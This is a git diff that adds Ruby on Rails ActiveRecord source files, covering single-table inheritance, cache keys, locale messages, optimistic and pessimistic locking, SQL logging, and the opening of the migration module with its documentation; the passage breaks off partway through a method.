@@ -0,0 +1,200 @@
+require 'active_support/core_ext/hash/indifferent_access'
+
+module ActiveRecord
+ module Inheritance
+ extend ActiveSupport::Concern
+
+ included do
+ # Determine whether to store the full constant name including namespace when using STI
+ class_attribute :store_full_sti_class, instance_writer: false
+ self.store_full_sti_class = true
+ end
+
+ module ClassMethods
+ # Determines if one of the attributes passed in is the inheritance column,
+ # and if the inheritance column is attr accessible, it initializes an
+ # instance of the given subclass instead of the base class
+ def new(*args, &block)
+ if abstract_class? || self == Base
+ raise NotImplementedError, "#{self} is an abstract class and can not be instantiated."
+ end
+ if (attrs = args.first).is_a?(Hash)
+ if subclass = subclass_from_attrs(attrs)
+ return subclass.new(*args, &block)
+ end
+ end
+ # Delegate to the original .new
+ super
+ end
+
+ # True if this isn't a concrete subclass needing a STI type condition.
+ def descends_from_active_record?
+ if self == Base
+ false
+ elsif superclass.abstract_class?
+ superclass.descends_from_active_record?
+ else
+ superclass == Base || !columns_hash.include?(inheritance_column)
+ end
+ end
+
+ def finder_needs_type_condition? #:nodoc:
+ # This is like this because benchmarking justifies the strange :false stuff
+ :true == (@finder_needs_type_condition ||= descends_from_active_record? ? :false : :true)
+ end
+
+ def symbolized_base_class
+ @symbolized_base_class ||= base_class.to_s.to_sym
+ end
+
+ def symbolized_sti_name
+ @symbolized_sti_name ||= sti_name.present? ? sti_name.to_sym : symbolized_base_class
+ end
+
+ # Returns the class descending directly from ActiveRecord::Base, or
+ # an abstract class, if any, in the inheritance hierarchy.
+ #
+ # If A extends AR::Base, A.base_class will return A. If B descends from A
+ # through some arbitrarily deep hierarchy, B.base_class will return A.
+ #
+ # If B < A and C < B and if A is an abstract_class then both B.base_class
+ # and C.base_class would return B as the answer since A is an abstract_class.
+ def base_class
+ unless self < Base
+ raise ActiveRecordError, "#{name} doesn't belong in a hierarchy descending from ActiveRecord"
+ end
+
+ if superclass == Base || superclass.abstract_class?
+ self
+ else
+ superclass.base_class
+ end
+ end
+
+ # Set this to true if this is an abstract class (see <tt>abstract_class?</tt>).
+ # If you are using inheritance with ActiveRecord and don't want child classes
+ # to utilize the implied STI table name of the parent class, this will need to be true.
+ # For example, given the following:
+ #
+ # class SuperClass < ActiveRecord::Base
+ # self.abstract_class = true
+ # end
+ # class Child < SuperClass
+ # self.table_name = 'the_table_i_really_want'
+ # end
+ #
+ #
+ # <tt>self.abstract_class = true</tt> is required to make <tt>Child<.find,.create, or any Arel method></tt> use <tt>the_table_i_really_want</tt> instead of a table called <tt>super_classes</tt>
+ #
+ attr_accessor :abstract_class
+
+ # Returns whether this class is an abstract class or not.
+ def abstract_class?
+ defined?(@abstract_class) && @abstract_class == true
+ end
+
+ def sti_name
+ store_full_sti_class ? name : name.demodulize
+ end
+
+ protected
+
+ # Returns the class type of the record using the current module as a prefix. So descendants of
+ # MyApp::Business::Account would appear as MyApp::Business::AccountSubclass.
+ def compute_type(type_name)
+ if type_name.match(/^::/)
+ # If the type is prefixed with a scope operator then we assume that
+ # the type_name is an absolute reference.
+ ActiveSupport::Dependencies.constantize(type_name)
+ else
+ # Build a list of candidates to search for
+ candidates = []
+ name.scan(/::|$/) { candidates.unshift "#{$`}::#{type_name}" }
+ candidates << type_name
+
+ candidates.each do |candidate|
+ begin
+ constant = ActiveSupport::Dependencies.constantize(candidate)
+ return constant if candidate == constant.to_s
+ rescue NameError => e
+ # We don't want to swallow NoMethodError < NameError errors
+ raise e unless e.instance_of?(NameError)
+ end
+ end
+
+ raise NameError, "uninitialized constant #{candidates.first}"
+ end
+ end
+
+ private
+
+ # Called by +instantiate+ to decide which class to use for a new
+ # record instance. For single-table inheritance, we check the record
+ # for a +type+ column and return the corresponding class.
+ def discriminate_class_for_record(record)
+ if using_single_table_inheritance?(record)
+ find_sti_class(record[inheritance_column])
+ else
+ super
+ end
+ end
+
+ def using_single_table_inheritance?(record)
+ record[inheritance_column].present? && columns_hash.include?(inheritance_column)
+ end
+
+ def find_sti_class(type_name)
+ if store_full_sti_class
+ ActiveSupport::Dependencies.constantize(type_name)
+ else
+ compute_type(type_name)
+ end
+ rescue NameError
+ raise SubclassNotFound,
+ "The single-table inheritance mechanism failed to locate the subclass: '#{type_name}'. " +
+ "This error is raised because the column '#{inheritance_column}' is reserved for storing the class in case of inheritance. " +
+ "Please rename this column if you didn't intend it to be used for storing the inheritance class " +
+ "or overwrite #{name}.inheritance_column to use another column for that information."
+ end
+
+ def type_condition(table = arel_table)
+ sti_column = table[inheritance_column.to_sym]
+ sti_names = ([self] + descendants).map { |model| model.sti_name }
+
+ sti_column.in(sti_names)
+ end
+
+ # Detect the subclass from the inheritance column of attrs. If the inheritance column value
+ # is not self or a valid subclass, raises ActiveRecord::SubclassNotFound
+ # If this is a StrongParameters hash, and access to inheritance_column is not permitted,
+ # this will ignore the inheritance column and return nil
+ def subclass_from_attrs(attrs)
+ subclass_name = attrs.with_indifferent_access[inheritance_column]
+
+ if subclass_name.present? && subclass_name != self.name
+ subclass = subclass_name.safe_constantize
+
+ unless descendants.include?(subclass)
+ raise ActiveRecord::SubclassNotFound.new("Invalid single-table inheritance type: #{subclass_name} is not a subclass of #{name}")
+ end
+
+ subclass
+ end
+ end
+ end
+
+ private
+
+ # Sets the attribute used for single table inheritance to this class name if this is not the
+ # ActiveRecord::Base descendant.
+ # Considering the hierarchy Reply < Message < ActiveRecord::Base, this makes it possible to
+ # do Reply.new without having to set <tt>Reply[Reply.inheritance_column] = "Reply"</tt> yourself.
+ # No such attribute would be set for objects of the Message class in that example.
+ def ensure_proper_type
+ klass = self.class
+ if klass.finder_needs_type_condition?
+ write_attribute(klass.inheritance_column, klass.sti_name)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/integration.rb b/activerecord/lib/active_record/integration.rb
new file mode 100644
index 0000000..2589b2f
--- /dev/null
+++ b/activerecord/lib/active_record/integration.rb
@@ -0,0 +1,60 @@
+module ActiveRecord
+ module Integration
+ extend ActiveSupport::Concern
+
+ included do
+ ##
+ # :singleton-method:
+ # Indicates the format used to generate the timestamp in the cache key.
+ # Accepts any of the symbols in <tt>Time::DATE_FORMATS</tt>.
+ #
+ # This is +:nsec+, by default.
+ class_attribute :cache_timestamp_format, :instance_writer => false
+ self.cache_timestamp_format = :nsec
+ end
+
+ # Returns a String, which Action Pack uses for constructing an URL to this
+ # object. The default implementation returns this record's id as a String,
+ # or nil if this record's unsaved.
+ #
+ # For example, suppose that you have a User model, and that you have a
+ # <tt>resources :users</tt> route. Normally, +user_path+ will
+ # construct a path with the user object's 'id' in it:
+ #
+ # user = User.find_by(name: 'Phusion')
+ # user_path(user) # => "/users/1"
+ #
+ # You can override +to_param+ in your model to make +user_path+ construct
+ # a path using the user's name instead of the user's id:
+ #
+ # class User < ActiveRecord::Base
+ # def to_param # overridden
+ # name
+ # end
+ # end
+ #
+ # user = User.find_by(name: 'Phusion')
+ # user_path(user) # => "/users/Phusion"
+ def to_param
+ # We can't use alias_method here, because method 'id' optimizes itself on the fly.
+ id && id.to_s # Be sure to stringify the id for routes
+ end
+
+ # Returns a cache key that can be used to identify this record.
+ #
+ # Product.new.cache_key # => "products/new"
+ # Product.find(5).cache_key # => "products/5" (updated_at not available)
+ # Person.find(5).cache_key # => "people/5-20071224150000" (updated_at available)
+ def cache_key
+ case
+ when new_record?
+ "#{self.class.model_name.cache_key}/new"
+ when timestamp = max_updated_column_timestamp
+ timestamp = timestamp.utc.to_s(cache_timestamp_format)
+ "#{self.class.model_name.cache_key}/#{id}-#{timestamp}"
+ else
+ "#{self.class.model_name.cache_key}/#{id}"
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/locale/en.yml b/activerecord/lib/active_record/locale/en.yml
new file mode 100644
index 0000000..b1fbd38
--- /dev/null
+++ b/activerecord/lib/active_record/locale/en.yml
@@ -0,0 +1,47 @@
+en:
+ # Attributes names common to most models
+ #attributes:
+ #created_at: "Created at"
+ #updated_at: "Updated at"
+
+ # Default error messages
+ errors:
+ messages:
+ taken: "has already been taken"
+
+ # Active Record models configuration
+ activerecord:
+ errors:
+ messages:
+ record_invalid: "Validation failed: %{errors}"
+ restrict_dependent_destroy:
+ one: "Cannot delete record because a dependent %{record} exists"
+ many: "Cannot delete record because dependent %{record} exist"
+ # Append your own errors here or at the model/attributes scope.
+
+ # You can define own errors for models or model attributes.
+ # The values :model, :attribute and :value are always available for interpolation.
+ #
+ # For example,
+ # models:
+ # user:
+ # blank: "This is a custom blank message for %{model}: %{attribute}"
+ # attributes:
+ # login:
+ # blank: "This is a custom blank message for User login"
+ # Will define custom blank validation message for User model and
+ # custom blank validation message for login attribute of User model.
+ #models:
+
+ # Translate model names. Used in Model.human_name().
+ #models:
+ # For example,
+ # user: "Dude"
+ # will translate User model name to "Dude"
+
+ # Translate model attribute names. Used in Model.human_attribute_name(attribute).
+ #attributes:
+ # For example,
+ # user:
+ # login: "Handle"
+ # will translate User attribute "login" as "Handle"
diff --git a/activerecord/lib/active_record/locking/optimistic.rb b/activerecord/lib/active_record/locking/optimistic.rb
new file mode 100644
index 0000000..209de78
--- /dev/null
+++ b/activerecord/lib/active_record/locking/optimistic.rb
@@ -0,0 +1,181 @@
+module ActiveRecord
+ module Locking
+ # == What is Optimistic Locking
+ #
+ # Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of
+ # conflicts with the data. It does this by checking whether another process has made changes to a record since
+ # it was opened, an <tt>ActiveRecord::StaleObjectError</tt> exception is thrown if that has occurred
+ # and the update is ignored.
+ #
+ # Check out <tt>ActiveRecord::Locking::Pessimistic</tt> for an alternative.
+ #
+ # == Usage
+ #
+ # Active Records support optimistic locking if the field +lock_version+ is present. Each update to the
+ # record increments the +lock_version+ column and the locking facilities ensure that records instantiated twice
+ # will let the last one saved raise a +StaleObjectError+ if the first was also updated. Example:
+ #
+ # p1 = Person.find(1)
+ # p2 = Person.find(1)
+ #
+ # p1.first_name = "Michael"
+ # p1.save
+ #
+ # p2.first_name = "should fail"
+ # p2.save # Raises a ActiveRecord::StaleObjectError
+ #
+ # Optimistic locking will also check for stale data when objects are destroyed. Example:
+ #
+ # p1 = Person.find(1)
+ # p2 = Person.find(1)
+ #
+ # p1.first_name = "Michael"
+ # p1.save
+ #
+ # p2.destroy # Raises a ActiveRecord::StaleObjectError
+ #
+ # You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging,
+ # or otherwise apply the business logic needed to resolve the conflict.
+ #
+ # This locking mechanism will function inside a single Ruby process. To make it work across all
+ # web requests, the recommended approach is to add +lock_version+ as a hidden field to your form.
+ #
+ # This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>.
+ # To override the name of the +lock_version+ column, set the <tt>locking_column</tt> class attribute:
+ #
+ # class Person < ActiveRecord::Base
+ # self.locking_column = :lock_person
+ # end
+ #
+ module Optimistic
+ extend ActiveSupport::Concern
+
+ included do
+ class_attribute :lock_optimistically, instance_writer: false
+ self.lock_optimistically = true
+ end
+
+ def locking_enabled? #:nodoc:
+ self.class.locking_enabled?
+ end
+
+ private
+ def increment_lock
+ lock_col = self.class.locking_column
+ previous_lock_value = send(lock_col).to_i
+ send(lock_col + '=', previous_lock_value + 1)
+ end
+
+ def update_record(attribute_names = @attributes.keys) #:nodoc:
+ return super unless locking_enabled?
+ return 0 if attribute_names.empty?
+
+ lock_col = self.class.locking_column
+ previous_lock_value = send(lock_col).to_i
+ increment_lock
+
+ attribute_names += [lock_col]
+ attribute_names.uniq!
+
+ begin
+ relation = self.class.unscoped
+
+ stmt = relation.where(
+ relation.table[self.class.primary_key].eq(id).and(
+ relation.table[lock_col].eq(self.class.quote_value(previous_lock_value))
+ )
+ ).arel.compile_update(arel_attributes_with_values_for_update(attribute_names))
+
+ affected_rows = self.class.connection.update stmt
+
+ unless affected_rows == 1
+ raise ActiveRecord::StaleObjectError.new(self, "update")
+ end
+
+ affected_rows
+
+ # If something went wrong, revert the version.
+ rescue Exception
+ send(lock_col + '=', previous_lock_value)
+ raise
+ end
+ end
+
+ def destroy_row
+ affected_rows = super
+
+ if locking_enabled? && affected_rows != 1
+ raise ActiveRecord::StaleObjectError.new(self, "destroy")
+ end
+
+ affected_rows
+ end
+
+ def relation_for_destroy
+ relation = super
+
+ if locking_enabled?
+ column_name = self.class.locking_column
+ column = self.class.columns_hash[column_name]
+ substitute = self.class.connection.substitute_at(column, relation.bind_values.length)
+
+ relation = relation.where(self.class.arel_table[column_name].eq(substitute))
+ relation.bind_values << [column, self[column_name].to_i]
+ end
+
+ relation
+ end
+
+ module ClassMethods
+ DEFAULT_LOCKING_COLUMN = 'lock_version'
+
+ # Returns true if the +lock_optimistically+ flag is set to true
+ # (which it is, by default) and the table includes the
+ # +locking_column+ column (defaults to +lock_version+).
+ def locking_enabled?
+ lock_optimistically && columns_hash[locking_column]
+ end
+
+ # Set the column to use for optimistic locking. Defaults to +lock_version+.
+ def locking_column=(value)
+ @locking_column = value.to_s
+ end
+
+ # The version column used for optimistic locking. Defaults to +lock_version+.
+ def locking_column
+ reset_locking_column unless defined?(@locking_column)
+ @locking_column
+ end
+
+ # Quote the column name used for optimistic locking.
+ def quoted_locking_column
+ connection.quote_column_name(locking_column)
+ end
+
+ # Reset the column used for optimistic locking back to the +lock_version+ default.
+ def reset_locking_column
+ self.locking_column = DEFAULT_LOCKING_COLUMN
+ end
+
+ # Make sure the lock version column gets updated when counters are
+ # updated.
+ def update_counters(id, counters)
+ counters = counters.merge(locking_column => 1) if locking_enabled?
+ super
+ end
+
+ def column_defaults
+ @column_defaults ||= begin
+ defaults = super
+
+ if defaults.key?(locking_column) && lock_optimistically
+ defaults[locking_column] ||= 0
+ end
+
+ defaults
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/locking/pessimistic.rb b/activerecord/lib/active_record/locking/pessimistic.rb
new file mode 100644
index 0000000..8e4ddca
--- /dev/null
+++ b/activerecord/lib/active_record/locking/pessimistic.rb
@@ -0,0 +1,77 @@
+module ActiveRecord
+ module Locking
+ # Locking::Pessimistic provides support for row-level locking using
+ # SELECT ... FOR UPDATE and other lock types.
+ #
+ # Pass <tt>lock: true</tt> to <tt>ActiveRecord::Base.find</tt> to obtain an exclusive
+ # lock on the selected rows:
+ # # select * from accounts where id=1 for update
+ # Account.find(1, lock: true)
+ #
+ # Pass <tt>lock: 'some locking clause'</tt> to give a database-specific locking clause
+ # of your own such as 'LOCK IN SHARE MODE' or 'FOR UPDATE NOWAIT'. Example:
+ #
+ # Account.transaction do
+ # # select * from accounts where name = 'shugo' limit 1 for update
+ # shugo = Account.where("name = 'shugo'").lock(true).first
+ # yuko = Account.where("name = 'yuko'").lock(true).first
+ # shugo.balance -= 100
+ # shugo.save!
+ # yuko.balance += 100
+ # yuko.save!
+ # end
+ #
+ # You can also use <tt>ActiveRecord::Base#lock!</tt> method to lock one record by id.
+ # This may be better if you don't need to lock every row. Example:
+ #
+ # Account.transaction do
+ # # select * from accounts where ...
+ # accounts = Account.where(...)
+ # account1 = accounts.detect { |account| ... }
+ # account2 = accounts.detect { |account| ... }
+ # # select * from accounts where id=? for update
+ # account1.lock!
+ # account2.lock!
+ # account1.balance -= 100
+ # account1.save!
+ # account2.balance += 100
+ # account2.save!
+ # end
+ #
+ # You can start a transaction and acquire the lock in one go by calling
+ # <tt>with_lock</tt> with a block. The block is called from within
+ # a transaction, the object is already locked. Example:
+ #
+ # account = Account.first
+ # account.with_lock do
+ # # This block is called within a transaction,
+ # # account is already locked.
+ # account.balance -= 100
+ # account.save!
+ # end
+ #
+ # Database-specific information on row locking:
+ # MySQL: http://dev.mysql.com/doc/refman/5.1/en/innodb-locking-reads.html
+ # PostgreSQL: http://www.postgresql.org/docs/current/interactive/sql-select.html#SQL-FOR-UPDATE-SHARE
+ module Pessimistic
+ # Obtain a row lock on this record. Reloads the record to obtain the requested
+ # lock. Pass an SQL locking clause to append the end of the SELECT statement
+ # or pass true for "FOR UPDATE" (the default, an exclusive row lock). Returns
+ # the locked record.
+ def lock!(lock = true)
+ reload(:lock => lock) if persisted?
+ self
+ end
+
+ # Wraps the passed block in a transaction, locking the object
+ # before yielding. You pass can the SQL locking clause
+ # as argument (see <tt>lock!</tt>).
+ def with_lock(lock = true)
+ transaction do
+ lock!(lock)
+ yield
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/log_subscriber.rb b/activerecord/lib/active_record/log_subscriber.rb
new file mode 100644
index 0000000..61e5c12
--- /dev/null
+++ b/activerecord/lib/active_record/log_subscriber.rb
@@ -0,0 +1,82 @@
+module ActiveRecord
+ class LogSubscriber < ActiveSupport::LogSubscriber
+ IGNORE_PAYLOAD_NAMES = ["SCHEMA", "EXPLAIN"]
+
+ def self.runtime=(value)
+ ActiveRecord::RuntimeRegistry.sql_runtime = value
+ end
+
+ def self.runtime
+ ActiveRecord::RuntimeRegistry.sql_runtime ||= 0
+ end
+
+ def self.reset_runtime
+ rt, self.runtime = runtime, 0
+ rt
+ end
+
+ def initialize
+ super
+ @odd_or_even = false
+ end
+
+ def render_bind(column, value)
+ if column
+ if column.binary?
+ value = "<#{value.bytesize} bytes of binary data>"
+ end
+
+ [column.name, value]
+ else
+ [nil, value]
+ end
+ end
+
+ def sql(event)
+ self.class.runtime += event.duration
+ return unless logger.debug?
+
+ payload = event.payload
+
+ return if IGNORE_PAYLOAD_NAMES.include?(payload[:name])
+
+ name = "#{payload[:name]} (#{event.duration.round(1)}ms)"
+ sql = payload[:sql].squeeze(' ')
+ binds = nil
+
+ unless (payload[:binds] || []).empty?
+ binds = " " + payload[:binds].map { |col,v|
+ render_bind(col, v)
+ }.inspect
+ end
+
+ if odd?
+ name = color(name, CYAN, true)
+ sql = color(sql, nil, true)
+ else
+ name = color(name, MAGENTA, true)
+ end
+
+ debug " #{name} #{sql}#{binds}"
+ end
+
+ def identity(event)
+ return unless logger.debug?
+
+ name = color(event.payload[:name], odd? ? CYAN : MAGENTA, true)
+ line = odd? ? color(event.payload[:line], nil, true) : event.payload[:line]
+
+ debug " #{name} #{line}"
+ end
+
+ def odd?
+ @odd_or_even = !@odd_or_even
+ end
+
+ def logger
+ ActiveRecord::Base.logger
+ end
+ end
+end
+
+ActiveRecord::LogSubscriber.attach_to :active_record
diff --git a/activerecord/lib/active_record/migration.rb b/activerecord/lib/active_record/migration.rb
new file mode 100644
index 0000000..6c020e1
--- /dev/null
+++ b/activerecord/lib/active_record/migration.rb
@@ -0,0 +1,994 @@
+require "active_support/core_ext/class/attribute_accessors"
+require 'set'
+
+module ActiveRecord
+ # Exception that can be raised to stop migrations from going backwards.
+ class IrreversibleMigration < ActiveRecordError
+ end
+
+ class DuplicateMigrationVersionError < ActiveRecordError#:nodoc:
+ def initialize(version)
+ super("Multiple migrations have the version number #{version}")
+ end
+ end
+
+ class DuplicateMigrationNameError < ActiveRecordError#:nodoc:
+ def initialize(name)
+ super("Multiple migrations have the name #{name}")
+ end
+ end
+
+ class UnknownMigrationVersionError < ActiveRecordError #:nodoc:
+ def initialize(version)
+ super("No migration with version number #{version}")
+ end
+ end
+
+ class IllegalMigrationNameError < ActiveRecordError#:nodoc:
+ def initialize(name)
+ super("Illegal name for migration file: #{name}\n\t(only lower case letters, numbers, and '_' allowed)")
+ end
+ end
+
+ class PendingMigrationError < ActiveRecordError#:nodoc:
+ def initialize
+ super("Migrations are pending; run 'rake db:migrate RAILS_ENV=#{Rails.env}' to resolve this issue.")
+ end
+ end
+
+ # = Active Record Migrations
+ #
+ # Migrations can manage the evolution of a schema used by several physical
+ # databases. It's a solution to the common problem of adding a field to make
+ # a new feature work in your local database, but being unsure of how to
+ # push that change to other developers and to the production server. With
+ # migrations, you can describe the transformations in self-contained classes
+ # that can be checked into version control systems and executed against
+ # another database that might be one, two, or five versions behind.
+ #
+ # Example of a simple migration:
+ #
+ # class AddSsl < ActiveRecord::Migration
+ # def up
+ # add_column :accounts, :ssl_enabled, :boolean, default: true
+ # end
+ #
+ # def down
+ # remove_column :accounts, :ssl_enabled
+ # end
+ # end
+ #
+ # This migration will add a boolean flag to the accounts table and remove it
+ # if you're backing out of the migration. It shows how all migrations have
+ # two methods +up+ and +down+ that describes the transformations
+ # required to implement or remove the migration. These methods can consist
+ # of both the migration specific methods like +add_column+ and +remove_column+,
+ # but may also contain regular Ruby code for generating data needed for the
+ # transformations.
+ #
+ # Example of a more complex migration that also needs to initialize data:
+ #
+ # class AddSystemSettings < ActiveRecord::Migration
+ # def up
+ # create_table :system_settings do |t|
+ # t.string :name
+ # t.string :label
+ # t.text :value
+ # t.string :type
+ # t.integer :position
+ # end
+ #
+ # SystemSetting.create name: 'notice',
+ # label: 'Use notice?',
+ # value: 1
+ # end
+ #
+ # def down
+ # drop_table :system_settings
+ # end
+ # end
+ #
+ # This migration first adds the +system_settings+ table, then creates the very
+ # first row in it using the Active Record model that relies on the table. It
+ # also uses the more advanced +create_table+ syntax where you can specify a
+ # complete table schema in one block call.
+ #
+ # == Available transformations
+ #
+ # * <tt>create_table(name, options)</tt>: Creates a table called +name+ and
+ # makes the table object available to a block that can then add columns to it,
+ # following the same format as +add_column+. See example above. The options hash
+ # is for fragments like "DEFAULT CHARSET=UTF-8" that are appended to the create
+ # table definition.
+ # * <tt>drop_table(name)</tt>: Drops the table called +name+.
+ # * <tt>change_table(name, options)</tt>: Allows to make column alterations to
+ # the table called +name+. It makes the table object available to a block that
+ # can then add/remove columns, indexes or foreign keys to it.
+ # * <tt>rename_table(old_name, new_name)</tt>: Renames the table called +old_name+
+ # to +new_name+.
+ # * <tt>add_column(table_name, column_name, type, options)</tt>: Adds a new column
+ # to the table called +table_name+
+ # named +column_name+ specified to be one of the following types:
+ # <tt>:string</tt>, <tt>:text</tt>, <tt>:integer</tt>, <tt>:float</tt>,
+ # <tt>:decimal</tt>, <tt>:datetime</tt>, <tt>:timestamp</tt>, <tt>:time</tt>,
+ # <tt>:date</tt>, <tt>:binary</tt>, <tt>:boolean</tt>. A default value can be
+ # specified by passing an +options+ hash like <tt>{ default: 11 }</tt>.
+ # Other options include <tt>:limit</tt> and <tt>:null</tt> (e.g.
+ # <tt>{ limit: 50, null: false }</tt>) -- see
+ # ActiveRecord::ConnectionAdapters::TableDefinition#column for details.
+ # * <tt>rename_column(table_name, column_name, new_column_name)</tt>: Renames
+ # a column but keeps the type and content.
+ # * <tt>change_column(table_name, column_name, type, options)</tt>: Changes
+ # the column to a different type using the same parameters as add_column.
+ # * <tt>remove_column(table_name, column_names)</tt>: Removes the column listed in
+ # +column_names+ from the table called +table_name+.
+ # * <tt>add_index(table_name, column_names, options)</tt>: Adds a new index
+ # with the name of the column. Other options include
+ # <tt>:name</tt>, <tt>:unique</tt> (e.g.
+ # <tt>{ name: 'users_name_index', unique: true }</tt>) and <tt>:order</tt>
+ # (e.g. <tt>{ order: { name: :desc } }</tt>).
+ # * <tt>remove_index(table_name, column: column_name)</tt>: Removes the index
+ # specified by +column_name+.
+ # * <tt>remove_index(table_name, name: index_name)</tt>: Removes the index
+ # specified by +index_name+.
+ #
+ # == Irreversible transformations
+ #
+ # Some transformations are destructive in a manner that cannot be reversed.
+ # Migrations of that kind should raise an <tt>ActiveRecord::IrreversibleMigration</tt>
+ # exception in their +down+ method.
+ #
+ # == Running migrations from within Rails
+ #
+ # The Rails package has several tools to help create and apply migrations.
+ #
+ # To generate a new migration, you can use
+ # rails generate migration MyNewMigration
+ #
+ # where MyNewMigration is the name of your migration. The generator will
+ # create an empty migration file <tt>timestamp_my_new_migration.rb</tt>
+ # in the <tt>db/migrate/</tt> directory where <tt>timestamp</tt> is the
+ # UTC formatted date and time that the migration was generated.
+ #
+ # You may then edit the <tt>up</tt> and <tt>down</tt> methods of
+ # MyNewMigration.
+ #
+ # There is a special syntactic shortcut to generate migrations that add fields to a table.
+ #
+ # rails generate migration add_fieldname_to_tablename fieldname:string
+ #
+ # This will generate the file <tt>timestamp_add_fieldname_to_tablename</tt>, which will look like this:
+ # class AddFieldnameToTablename < ActiveRecord::Migration
+ # def up
+ # add_column :tablenames, :fieldname, :string
+ # end
+ #
+ # def down
+ # remove_column :tablenames, :fieldname
+ # end
+ # end
+ #
+ # To run migrations against the currently configured database, use
+ # <tt>rake db:migrate</tt>. This will update the database by running all of the
+ # pending migrations, creating the <tt>schema_migrations</tt> table
+ # (see "About the schema_migrations table" section below) if missing. It will also
+ # invoke the db:schema:dump task, which will update your db/schema.rb file
+ # to match the structure of your database.
+ #
+ # To roll the database back to a previous migration version, use
+ # <tt>rake db:migrate VERSION=X</tt> where <tt>X</tt> is the version to which
+ # you wish to downgrade. If any of the migrations throw an
+ # <tt>ActiveRecord::IrreversibleMigration</tt> exception, that step will fail and you'll
+ # have some manual work to do.
+ #
+ # == Database support
+ #
+ # Migrations are currently supported in MySQL, PostgreSQL, SQLite,
+ # SQL Server, Sybase, and Oracle (all supported databases except DB2).
+ #
+ # == More examples
+ #
+ # Not all migrations change the schema. Some just fix the data:
+ #
+ # class RemoveEmptyTags < ActiveRecord::Migration
+ # def up
+ # Tag.all.each { |tag| tag.destroy if tag.pages.empty? }
+ # end
+ #
+ # def down
+ # # not much we can do to restore deleted data
+ # raise ActiveRecord::IrreversibleMigration, "Can't recover the deleted tags"
+ # end
+ # end
+ #
+ # Others remove columns when they migrate up instead of down:
+ #
+ # class RemoveUnnecessaryItemAttributes < ActiveRecord::Migration
+ # def up
+ # remove_column :items, :incomplete_items_count
+ # remove_column :items, :completed_items_count
+ # end
+ #
+ # def down
+ # add_column :items, :incomplete_items_count
+ # add_column :items, :completed_items_count
+ # end
+ # end
+ #
+ # And sometimes you need to do something in SQL not abstracted directly by migrations:
+ #
+ # class MakeJoinUnique < ActiveRecord::Migration
+ # def up
+ # execute "ALTER TABLE `pages_linked_pages` ADD UNIQUE `page_id_linked_page_id` (`page_id`,`linked_page_id`)"
+ # end
+ #
+ # def down
+ # execute "ALTER TABLE `pages_linked_pages` DROP INDEX `page_id_linked_page_id`"
+ # end
+ # end
+ #
+ # == Using a model after changing its table
+ #
+ # Sometimes you'll want to add a column in a migration and populate it
+ # immediately after. In that case, you'll need to make a call to
+ # <tt>Base#reset_column_information</tt> in order to ensure that the model has the
+ # latest column data from after the new column was added. Example:
+ #
+ # class AddPeopleSalary < ActiveRecord::Migration
+ # def up
+ # add_column :people, :salary, :integer
+ # Person.reset_column_information
+ # Person.all.each do |p|
+ # p.update_attribute :salary, SalaryCalculator.compute(p)
+ # end
+ # end
+ # end
+ #
+ # == Controlling verbosity
+ #
+ # By default, migrations will describe the actions they are taking, writing
+ # them to the console as they happen, along with benchmarks describing how
+ # long each step took.
+ #
+ # You can quiet them down by setting ActiveRecord::Migration.verbose = false.
+ #
+ # You can also insert your own messages and benchmarks by using the +say_with_time+
+ # method:
+ #
+ # def up
+ # ...
+ # say_with_time "Updating salaries..." do
+ # Person.all.each do |p|
+ # p.update_attribute :salary, SalaryCalculator.compute(p)
+ # end
+ # end
+ # ...
+ # end
+ #
+ # The phrase "Updating salaries..." would then be printed, along with the
+ # benchmark for the block when the block completes.
+ #
+ # == About the schema_migrations table
+ #
+ # Rails versions 2.0 and prior used to create a table called
+ # <tt>schema_info</tt> when using migrations. This table contained the
+ # version of the schema as of the last applied migration.
+ #
+ # Starting with Rails 2.1, the <tt>schema_info</tt> table is
+ # (automatically) replaced by the <tt>schema_migrations</tt> table, which
+ # contains the version numbers of all the migrations applied.
+ #
+ # As a result, it is now possible to add migration files that are numbered
+ # lower than the current schema version: when migrating up, those
+ # never-applied "interleaved" migrations will be automatically applied, and
+ # when migrating down, never-applied "interleaved" migrations will be skipped.
+ #
+ # == Timestamped Migrations
+ #
+ # By default, Rails generates migrations that look like:
+ #
+ # 20080717013526_your_migration_name.rb
+ #
+ # The prefix is a generation timestamp (in UTC).
+ #
+ # If you'd prefer to use numeric prefixes, you can turn timestamped migrations
+ # off by setting:
+ #
+ # config.active_record.timestamped_migrations = false
+ #
+ # In application.rb.
+ #
+ # == Reversible Migrations
+ #
+ # Starting with Rails 3.1, you will be able to define reversible migrations.
+ # Reversible migrations are migrations that know how to go +down+ for you.
+ # You simply supply the +up+ logic, and the Migration system will figure out
+ # how to execute the down commands for you.
+ #
+ # To define a reversible migration, define the +change+ method in your
+ # migration like this:
+ #
+ # class TenderloveMigration < ActiveRecord::Migration
+ # def change
+ # create_table(:horses) do |t|
+ # t.column :content, :text
+ # t.column :remind_at, :datetime
+ # end
+ # end
+ # end
+ #
+ # This migration will create the horses table for you on the way up, and
+ # automatically figure out how to drop the table on the way down.
+ #
+ # Some commands like +remove_column+ cannot be reversed. If you care to
+ # define how to move up and down in these cases, you should define the +up+
+ # and +down+ methods as before.
+ #
+ # If a command cannot be reversed, an
+ # <tt>ActiveRecord::IrreversibleMigration</tt> exception will be raised when
+ # the migration is moving down.
+ #
+ # For a list of commands that are reversible, please see
+ # <tt>ActiveRecord::Migration::CommandRecorder</tt>.
+ #
+ # == Transactional Migrations
+ #
+ # If the database adapter supports DDL transactions, all migrations will
+ # automatically be wrapped in a transaction. There are queries that you
+ # can't execute inside a transaction though, and for these situations
+ # you can turn the automatic transactions off.
+ #
+ # class ChangeEnum < ActiveRecord::Migration
+ # disable_ddl_transaction!
+ #
+ # def up
+ # execute "ALTER TYPE model_size ADD VALUE 'new_value'"
+ # end
+ # end
+ #
+ # Remember that you can still open your own transactions, even if you
+ # are in a Migration with <tt>self.disable_ddl_transaction!</tt>.
+ class Migration
+ autoload :CommandRecorder, 'active_record/migration/command_recorder'
+
+
+ # This class is used to verify that all migrations have been run before
+ # loading a web page if config.active_record.migration_error is set to :page_load
+ class CheckPending
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ ActiveRecord::Base.logger.silence do
